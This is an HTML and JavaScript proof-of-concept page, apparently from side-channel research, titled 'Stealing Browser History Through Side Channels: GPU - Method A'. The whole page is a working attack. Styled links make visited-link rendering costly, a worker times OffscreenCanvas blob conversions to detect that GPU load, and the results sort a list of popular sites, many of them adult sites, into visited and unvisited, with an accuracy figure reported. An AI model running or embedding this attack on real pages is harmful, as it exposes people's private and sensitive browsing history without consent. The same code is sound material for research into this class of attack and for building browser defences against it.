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MethodA_GPU.html
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<html>
<head>
<style>
.attack {
transform: perspective(100px) rotateY(37deg);
filter:
contrast(200%)
drop-shadow(16px 16px 10px #fefefe)
saturate(200%);
text-shadow: 16px 16px 10px #fefefe;
outline-width: 24px;
font-size: 2px; text-align: center;
display: inline-block;
color: white;
background-color: white;
outline-color: white;
}
.attack:visited {
color: #feffff;
background-color: #feffff;
outline-color: #feffff;
}
</style>
</head>
<body>
<table id="tbl-params">
<tr>
<td colspan="2" style="border-bottom: 1px dashed;text-align: center">
<b>Stealing Browser History Through Side Channels: GPU - Method A</b>
</td>
</tr>
<tr>
<td>
Text Length: <input id="textLength" dir="rtl" size="1" value=5 onKeyUp=resizeText()></input>(K) Characters
</td>
<td>
<button id="run" onclick="init()">RUN</button>
</td>
</tr>
</table>
<a id="a0" class="attack"></a>
<div id="res"></div>
<div id="visited-div"></div>
<div id="unvisited-div"></div>
<script id="workerSource" type="javascript/worker">
var offscreenCan, m_time;
async function prepare() {
offscreenCan = new OffscreenCanvas(1,1);
offscreenCan.getContext("webgl2", {antialias: false});
}
async function go(bufff) {
let [bufff2] = bufff, buff = new Uint32Array(bufff2);
let count = 0, start = performance.now();
while(performance.now() - start < m_time) {
blob = await offscreenCan.convertToBlob();
buff[0]++;
}
return buff[0];
}
onmessage = async function(e) {
result = -1;
if (e.data.type == "prepare!") {
await prepare();
} else if(e.data.type == "measure!") {
m_time = e.data.measurement_time;
result = await go(e.data.buff);
} else if(e.data.type == "stop!") {
self.close();
}
postMessage(result);
}
</script>
<script>
const num_of_attempts = 10;
const BASE_TEXT = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
var visited_urls = ["https://www.google.com/", "https://www.youtube.com/", "https://www.pornhub.com/", "https://www.facebook.com/", "https://www.reddit.com/", "https://www.amazon.com/", "https://twitter.com/", "https://www.xvideos.com/", "https://www.yahoo.com/", "https://www.wikipedia.org/", "https://weather.com/", "https://www.fandom.com/", "https://www.instagram.com/", "https://duckduckgo.com/", "https://www.walmart.com/", "https://www.xnxx.com/", "https://www.bing.com/", "https://www.tiktok.com/", "https://xhamster.com/", "https://www.ebay.com/", "https://www.cnn.com/", "https://onlyfans.com/", "https://www.taboola.com/", "https://www.usps.com/", "https://www.twitch.tv/", "https://www.quora.com/", "https://www.foxnews.com/", "https://www.espn.com/", "https://chaturbate.com/", "https://www.nytimes.com/", "https://www.tremendous.com/", "https://www.imdb.com/", "https://www.paypal.com/us/home", "https://outlook.live.com/owa/", "https://www.etsy.com/", "https://www.linkedin.com/feed/", "https://gamerant.com/", "https://www.netflix.com/", "https://www.office.com/", "https://simpcity.su/", "https://www.accuweather.com/", "https://www.ups.com/us/en/global.page", "https://www.microsoft.com/en-us/?ql=4", "https://discord.com/", "https://www.msn.com/", "https://www.pinterest.com/", "https://www.dailymail.co.uk/ushome/index.html", "https://www.blogger.com/about/?bpli=1", "https://www.apple.com/", "https://www.indeed.com/"];
var unvisited_urls = ["https://www.bestbuy.com/", "https://www.fedex.com/global/choose-location.html", "https://zoom.us/", "https://www.tumblr.com/", "https://www.target.com/", "https://stripchat.com/", "https://www.ign.com/" , "https://www.ign.com/", "https://nypost.com/", "https://www.patreon.com/", "https://www.zillow.com/", "https://www.gamespot.com/", "https://open.spotify.com/?", "https://www.samsung.com/us/", "https://www.livejasmin.com/en/girls/", "https://www.homedepot.com/", "https://www.roblox.com/", "https://www.erome.com/", "https://www.eporner.com/", "https://www.capitalone.com/", "https://github.com/", "https://www.marca.com/", "https://newyork.craigslist.org/", "https://www.hulu.com/welcome", "https://www.instructure.com/", "https://steamcommunity.com/", "https://www.xfinity.com/national/", "https://www.bbc.com/", "https://www.chase.com/", "https://gogoanime.gr/", "https://www.youporn.com/", "https://www.t-mobile.com/", "https://www.usatoday.com/", "https://wordpress.com/", "https://www.healthline.com/", "https://www.lowes.com/", "https://www.washingtonpost.com/", "https://www.adobe.com/", "https://quizlet.com/", "https://www.yelp.com/", "https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration?ms.officeurl=sharepoint&rtc=1", "https://www.att.com/", "https://aws.amazon.com/", "https://nextdoor.com/", "https://www.android.com/", "https://linktr.ee/", "https://www.macys.com/", "https://www.cnbc.com/", "http://microsoftonline.com/", "http://dood.re/"];
var urls = ["https://www.google.com/", "https://www.youtube.com/", "https://www.pornhub.com/", "https://www.facebook.com/", "https://www.reddit.com/", "https://www.amazon.com/", "https://twitter.com/", "https://www.xvideos.com/", "https://www.yahoo.com/", "https://www.wikipedia.org/", "https://weather.com/", "https://www.fandom.com/", "https://www.instagram.com/", "https://duckduckgo.com/", "https://www.walmart.com/", "https://www.xnxx.com/", "https://www.bing.com/", "https://www.tiktok.com/", "https://xhamster.com/", "https://www.ebay.com/", "https://www.cnn.com/", "https://onlyfans.com/", "https://www.taboola.com/", "https://www.usps.com/", "https://www.twitch.tv/", "https://www.quora.com/", "https://www.foxnews.com/", "https://www.espn.com/", "https://chaturbate.com/", "https://www.nytimes.com/", "https://www.tremendous.com/", "https://www.imdb.com/", "https://www.paypal.com/us/home", "https://outlook.live.com/owa/", "https://www.etsy.com/", "https://www.linkedin.com/feed/", "https://gamerant.com/", "https://www.netflix.com/", "https://www.office.com/", "https://simpcity.su/", "https://www.accuweather.com/", "https://www.ups.com/us/en/global.page", "https://www.microsoft.com/en-us/?ql=4", "https://discord.com/", "https://www.msn.com/", "https://www.pinterest.com/", "https://www.dailymail.co.uk/ushome/index.html", "https://www.blogger.com/about/?bpli=1", "https://www.apple.com/", "https://www.indeed.com/", "https://www.bestbuy.com/", "https://www.fedex.com/global/choose-location.html", "https://zoom.us/", "https://www.tumblr.com/", "https://www.target.com/", "https://stripchat.com/", "https://www.ign.com/", "https://www.ign.com/", "https://nypost.com/", "https://www.patreon.com/", "https://www.zillow.com/", "https://www.gamespot.com/", "https://open.spotify.com/?", "https://www.samsung.com/us/", "https://www.livejasmin.com/en/girls/", "https://www.homedepot.com/", "https://www.roblox.com/", "https://www.erome.com/", "https://www.eporner.com/", "https://www.capitalone.com/", "https://github.com/", "https://www.marca.com/", "https://newyork.craigslist.org/", "https://www.hulu.com/welcome", "https://www.instructure.com/", "https://steamcommunity.com/", "https://www.xfinity.com/national/", "https://www.bbc.com/", "https://www.chase.com/", "https://gogoanime.gr/", "https://www.youporn.com/", "https://www.t-mobile.com/", "https://www.usatoday.com/", "https://wordpress.com/", "https://www.healthline.com/", "https://www.lowes.com/", "https://www.washingtonpost.com/", "https://www.adobe.com/", "https://quizlet.com/", "https://www.yelp.com/", "https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration?ms.officeurl=sharepoint&rtc=1", "https://www.att.com/", "https://aws.amazon.com/", "https://nextdoor.com/", "https://www.android.com/", "https://linktr.ee/", "https://www.macys.com/", "https://www.cnbc.com/", "http://microsoftonline.com/", "http://dood.re/"];
var bufferSharedArray = new SharedArrayBuffer(Int32Array.BYTES_PER_ELEMENT); var sharedVariable = new Uint32Array(bufferSharedArray);
var myWorker, targetNode, paramsTable, phase, visited_flag, swap, attempt_number, url_index;
var med_visited, med_unvisited;
var time_base, time_calibrate, time_test;
var measurement_values = [], measure_sweeps = [];
function arbitraryLengthText(inputText, requestedLength) {
let outputString = inputText;
while (outputString.length < requestedLength) {
outputString += outputString;
}
return outputString.substring(0, requestedLength);
}
// https://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array
function shuffle(array) {
let currentIndex = array.length, randomIndex;
while (currentIndex != 0) {
randomIndex = Math.floor(Math.random() * currentIndex);
currentIndex--;
[array[currentIndex], array[randomIndex]] = [
array[randomIndex], array[currentIndex]];
}
return array;
}
function median(arr) {
arr = arr.sort(function (a, b) { return a - b });
var length = arr.length;
if (length % 2 == 1) {
return arr[(length / 2) - .5]
}
else {
return (arr[length / 2] + arr[(length / 2) - 1]) / 2;
}
}
function handleMessageFromWorker(msg) {
if(phase == "calibrate") {
report_base();
} else if(phase == "test") {
report_test();
}
}
function GPUPrep() {
let blob = new Blob([
document.querySelector('#workerSource').textContent
], { type: "text/javascript" })
myWorker = new Worker(window.URL.createObjectURL(blob));
myWorker.addEventListener('message', handleMessageFromWorker);
myWorker.postMessage({type:"prepare!"});
}
function GPUGo(tt) {
sharedVariable[0] = 0;
myWorker.postMessage({type:"measure!", measurement_time : tt, buff: [bufferSharedArray]});
}
GPUPrep();
//function GPUStop() { myWorker.postMessage({type:"stop!"}); }
function resizeText() { document.getElementById('a0').innerText = arbitraryLengthText(BASE_TEXT, Math.pow(2,10)*parseInt(document.getElementById("textLength").value)); }
function init() {
sharedVariable[0] = 0;
document.getElementById("res").innerText = '';
document.getElementById("visited-div").innerHTML = '';
document.getElementById("unvisited-div").innerHTML = '';
resizeText(); shuffle(urls);
targetNode = document.getElementById('a0'); paramsTable = document.getElementById('tbl-params');
go_base();
}
function go_base() {
paramsTable.style.display = "none"; targetNode.style.display = 'block';
phase = "calibrate", swap = false, attempt_number = 0, visited_flag = true, measurement_values = [];
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
GPUGo(2000);
time_base = performance.now();
requestAnimationFrame(onAnimateBase);
}
function onAnimateBase() {
if(visited_flag && attempt_number == num_of_attempts) visited_flag = false;
if(attempt_number == (num_of_attempts*2)) {
measurement_values[attempt_number] = sharedVariable[0];
time_calibrate = (performance.now() - time_base).toFixed(3);
return;
}
if(swap) {
swap = false;
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
} else {
swap = true;
if(visited_flag) {
targetNode.href = location.href; targetNode.style.color = 'white'; targetNode.style.color = '';
} else {
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
}
measurement_values[attempt_number] = sharedVariable[0]; attempt_number++;
}
requestAnimationFrame(onAnimateBase);
}
function report_base() {
phase = "finished_calibrate!";
measure_sweeps = [];
for(let i = 0; i < num_of_attempts; i++) {
measure_sweeps[i] = measurement_values[i+1] - measurement_values[i];
}
med_visited = median(measure_sweeps);
measure_sweeps = [];
for(let i = num_of_attempts; i < (num_of_attempts*2); i++) {
measure_sweeps[i-num_of_attempts] = measurement_values[i+1] - measurement_values[i];
}
med_unvisited = median(measure_sweeps);
go_test();
}
function go_test() {
paramsTable.style.display = "none"; targetNode.style.display = 'block';
phase = "test"; swap = false; url_index = 0; measurement_values = [];
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
GPUGo(5000);
time_base = performance.now();
requestAnimationFrame(onAnimateTest);
}
function onAnimateTest() {
if(url_index < 100) {
if(swap) {
swap = false;
targetNode.href = 'http://notvisited' + ((Math.random() * 100000000) | 0) + '.foo'; targetNode.style.color = 'white'; targetNode.style.color = '';
} else {
swap = true;
targetNode.href = urls[url_index]; targetNode.style.color = 'white'; targetNode.style.color = '';
measurement_values[url_index] = sharedVariable[0]; url_index++;
}
requestAnimationFrame(onAnimateTest);
} else {
measurement_values[url_index] = sharedVariable[0];
time_test = (performance.now() - time_base).toFixed(3);
return;
}
}
function report_test() {
phase = "finished!";
targetNode.style.display = 'none'; paramsTable.style.display = "inline";
document.getElementById("res").style.color = 'black'; document.getElementById("res").style.font = "10px";
document.getElementById("visited-div").innerHTML = '</br><b>Visited URLs:</b></br>';
document.getElementById("unvisited-div").innerHTML = '</br><b>Unvisited URLs:</b></br>';
let true_count_visited = 0, true_count_unvisited = 0;
let states = [], sweeps = [];
let curr_idx, curr_trace;
for(curr_idx = 0; curr_idx < 100; curr_idx++) {
curr_trace = measurement_values[curr_idx+1] - measurement_values[curr_idx];
if(Math.abs(curr_trace - med_visited) < Math.abs(curr_trace - med_unvisited)) {
document.getElementById("visited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
if(visited_urls.indexOf(urls[curr_idx]) > -1) true_count_visited++;
} else {
document.getElementById("unvisited-div").innerHTML += '<a href=' + urls[curr_idx] + ' >' + urls[curr_idx] + '</a></br>';
if(unvisited_urls.indexOf(urls[curr_idx]) > -1) true_count_unvisited++;
}
states[curr_idx] = visited_urls.indexOf(urls[curr_idx]) > -1 ? 1 : 0;
sweeps[curr_idx] = curr_trace;
}
let resultNode = document.getElementById("res");
resultNode.innerText += "\n Visited Median: " + med_visited;
resultNode.innerText += "\n Unvisited Median: " + med_unvisited;
resultNode.innerText += "\n Visited (TP): " + true_count_visited;
resultNode.innerText += "\n Unvisited (TN): " + true_count_unvisited;
//resultNode.innerText += "\n # of tested URLs: " + urls.length;
resultNode.innerText += "\n Attack Accuracy: " + (((true_count_visited + true_count_unvisited)/(visited_urls.length+unvisited_urls.length))*100).toFixed(0)+'%';
resultNode.innerText += "\n Calibration Time : " + (time_calibrate/1000).toFixed(3) + "s";
resultNode.innerText += "\n Test Time : " + (time_test/1000).toFixed(3) + "s";
//resultNode.innerText += "\n state: " + states;
//resultNode.innerText += "\n sweeps: " + sweeps;
//GPUStop();
}
</script>
</body>
</html>